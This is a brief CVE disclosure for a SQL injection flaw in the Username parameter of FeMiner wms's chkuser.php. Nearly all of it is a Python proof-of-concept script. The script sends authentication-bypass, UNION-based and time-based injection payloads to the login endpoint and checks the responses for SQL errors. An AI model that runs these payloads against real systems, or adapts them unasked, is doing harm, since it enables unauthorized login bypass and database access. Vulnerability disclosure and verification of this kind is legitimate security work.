CVE-2026-1059 FeMiner wms Username参数SQL注入漏洞

import requests import sys # CVE-2026-1059 PoC - FeMiner wms SQL Injection in /src/chkuser.php # Target: FeMiner wms <= 9cad1f1b179a98b9547fd003c23b07c7594775fa TARGET_URL = "http://target.com/src/chkuser.php" def test_sql_injection(): """Test for SQL injection vulnerability via Username parameter""" payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3--", "admin' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] print(f"[*] Testing CVE-2026-1059 on {TARGET_URL}") for payload in payloads: data = { 'Username': payload, 'Password': 'test' } try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error messages or successful injection indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f" [!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Test completed. Manual verification recommended.") if __name__ == "__main__": test_sql_injection()